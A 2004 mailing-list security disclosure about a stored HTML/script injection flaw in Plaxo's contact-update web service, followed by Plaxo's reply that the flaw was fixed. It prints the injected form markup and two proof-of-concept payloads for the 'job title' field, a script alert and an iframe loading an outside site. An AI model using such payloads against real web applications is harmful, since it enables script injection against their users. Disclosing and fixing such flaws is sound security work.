PLAXO: is that a cure or a disease?

[http-equiv@excite.com]

Friday, March 12, 2004

Having a firm belief in unnecessary gadgetry, we recently sent
our most senior colleague Liu Die Yu a request to update his
contact information via our plaxo device
[http://www.plaxo.com/]. Checking back several hours later in
our plaxo web account we eagerly selected his "card" to see what
that update might be.

BANG !

<input type="hidden" name="SetReplied" value="">
<input type="hidden" name="perm" value="1">
<input type="hidden" name="saveChanges" value="1">
<input type="hidden" name="close" value="0">
<input type="hidden" name="Biz.FullName" value="fatcat">
<input type="hidden" name="Biz.Title" value=""><iframe
src=http://www.bloatedcorp.com>">
<input type="hidden" name="Biz.Email1"
value="fatcat@bloatedcorp.com">
<input type="hidden" name="Biz.Email2" value="">
<input type="hidden" name="Biz.Email3" value="">
<input type="hidden" name="Biz.IM" value="">
<input type="hidden" name="Biz.WebPage" value="">

He had taken our entire contact list for a joyride supreme.

Trivial arbitrary code injection into the plaxo user web
account. While it does a good job of attempting to defeat this,
simple input in the recipient request for update field of "JOB
TITLE", gives a real jobbing:

"><SCRIPT>alert('boop')</SCRIPT>
"><iframe src=http://www.bloatedcorp.com>

Needless to say should you receive one of these irritating
little requests, you'll now know what to do.


End Call

--
http://www.malware.com

[Stacy Martin]

In-Reply-To: <200403121752.i2CHqK8A028679@web187.megawebservers. com>

Thanks for the report. This problem was fixed within hours of the original post on 3/12/04.

While not diminishing the seriousness of the report, the impact of this vulnerability required the malicious user to already be in the Plaxo user's address book and to have received a Plaxo Update Request from the victim. A security review of all Plaxo a
ccounts showed no one besides the reporting user had found this problem and therefore no other Plaxo member's data was impacted.

But nevertheless, since 3/12, we've made a number of additional changes and enhancements to our service in order to minimize the occurance of these types of problems again.

We appreciate the assistance in finding this and we encourage people to continue to bang on Plaxo. We only ask that if there is a next time, you give us time to develop a fix before telling truly malicious users.